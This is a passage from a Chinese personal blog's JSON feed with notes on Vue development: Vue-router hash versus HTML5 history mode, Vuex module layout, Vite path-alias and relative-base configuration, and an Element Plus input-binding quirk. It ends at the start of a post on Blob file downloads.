href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%8E%86%E5%8F%B2%E6%A8%A1%E5%BC%8F%E7%9A%84%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"历史模式的问题\"\u003e\u003c/a\u003e历史模式的问题\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eVue-router\u003c/code\u003e支持多种历史模式。现在较为常用的一种就是\u003ccode\u003eHTML5\u003c/code\u003e模式。该模式下,浏览器显示的链接和正常的url一致,非常漂亮。但是需要后端路由的配置,否则会出现刷新页面出现404的问题。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eHTML5\u003c/code\u003e模式,还有一种历史模式,叫做\u003ccode\u003ehash\u003c/code\u003e模式。它会在url中添加一个\u003ccode\u003e#\u003c/code\u003e来解决这个问题:\u003ccode\u003e#\u003c/code\u003e后面的部分在刷新时不会被后端认为是任何后端路由,因此也就不存在刷新后出现404的问题。\u003c/p\u003e\u003cp\u003e这一部分的配置在\u003ccode\u003ecreateRouter()\u003c/code\u003e的参数中进行配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e { createRouter, createWebHashHistory, createWebHistory } \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;vue-router\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecreateRouter\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// hash模式,无需后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHashHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// html5模式,需要后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eroutes\u003c/span\u003e: [ ... ]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vuex\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vuex\" class=\"headerlink\" title=\"Vuex\"\u003e\u003c/a\u003eVuex\u003c/h2\u003e\u003cp\u003e这是Vue官方出的状态管理插件。它用来管理整个单页程序的所有数据。\u003c/p\u003e\u003ch3 id=\"项目架构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E9%A1%B9%E7%9B%AE%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"项目架构\"\u003e\u003c/a\u003e项目架构\u003c/h3\u003e\u003cp\u003e使用Vuex时,最佳实践一般是使用模块来组织各个部分的数据。假设我们的项目的store目录结构如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e- store\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - modules\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module1.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module2.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module3.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - index.js\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么,我们可以在每个模块中这么定义数据:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e auth = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003estate\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etoken\u003c/span\u003e: \u003cspan class=\"literal\"\u003enull\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emutations\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eSET_TOKEN\u003c/span\u003e(\u003cspan class=\"params\"\u003estate, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e = token;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eactions\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003esetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003e{ commit }, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003ecommit\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SET_TOKEN\u0026#34;\u003c/span\u003e, token);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003egetters\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003egetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003estate\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e auth;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在index.js中这么导入模块:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vue\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vuex\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e modules \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;./modules\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e.\u003cspan class=\"title function_\"\u003euse\u003c/span\u003e(\u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e store = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e.\u003cspan class=\"title class_\"\u003eStore\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eplugins\u003c/span\u003e: [localStoragePlugin]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e store;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种结构便于我们维护前端的数据模型。\u003c/p\u003e\u003ch2 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vite\" class=\"headerlink\" title=\"Vite\"\u003e\u003c/a\u003eVite\u003c/h2\u003e\u003ch3 id=\"pathResolve\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#pathResolve\" class=\"headerlink\" title=\"pathResolve\"\u003e\u003c/a\u003epathResolve\u003c/h3\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#34;vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport vue from \u0026#34;@vitejs/plugin-vue\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport path from \u0026#34;path\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#34;unplugin-auto-import/vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#34;unplugin-vue-components/vite\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#34;unplugin-vue-components/resolvers\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// https://vitejs.dev/config/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vue(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolve: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e alias: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;@\u0026#34;: path.resolve(__dirname, \u0026#34;./src\u0026#34;),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"ElementUI\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#ElementUI\" class=\"headerlink\" title=\"ElementUI\"\u003e\u003c/a\u003eElementUI\u003c/h2\u003e\u003ch3 id=\"el-input的输入问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#el-input%E7%9A%84%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"el-input的输入问题\"\u003e\u003c/a\u003eel-input的输入问题\u003c/h3\u003e\u003cp\u003e遇到过一次输入框无法输入的问题。查看了下\u003ca href=\"https://element-plus.gitee.io/zh-CN/component/input.html#input-%E8%BE%93%E5%85%A5%E6%A1%86\"\u003e官方文档\u003c/a\u003e发现是设计特性。正常来说,Input总是会响应输入事件,但是\u003cstrong\u003eel-input是受控组件,所以它总是会更优先保证显示v-model绑定的数据值\u003c/strong\u003e。这也就是为什么输入不会被正常响应的原因:没有给它加\u003ccode\u003ev-model\u003c/code\u003e,或者绑定了不存在/错误的对象。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不过我绑定不存在元素的时候居然没有报错,神奇……\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"vue3-vite相对路径打包\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#vue3-vite%E7%9B%B8%E5%AF%B9%E8%B7%AF%E5%BE%84%E6%89%93%E5%8C%85\" class=\"headerlink\" title=\"vue3+vite相对路径打包\"\u003e\u003c/a\u003evue3+vite相对路径打包\u003c/h2\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport vue from \u0026#39;@vitejs/plugin-vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// https://vitejs.dev/config/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [vue()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e base: \u0026#39;./\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/"},{"title":"关于前端Blob下载那点事","time":"2023-07-11T14:16:38Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近做一个项目,后端返回一个Excel表格给前端下载,前端应该使用Blob将文件保存并下载下来。可是前端这里试了半天,数据大小没问题,就是一直下不下来。后来解决了好几个问题之后才成功解决了这个下载问题。\u003c/p\u003e\u003ch2 id=\"问题1-请求头\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%981-%E8%AF%B7%E6%B1%82%E5%A4%B4\" class=\"headerlink\" title=\"问题1-请求头\"\u003e\u003c/a\u003e问题1-请求头\u003c/h2\u003e\u003cp\u003e查找相关资料后,发现似乎错误的请求头是引发这个问题的一个原因。随后就改了请求部分的代码,加上了请求头的配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan 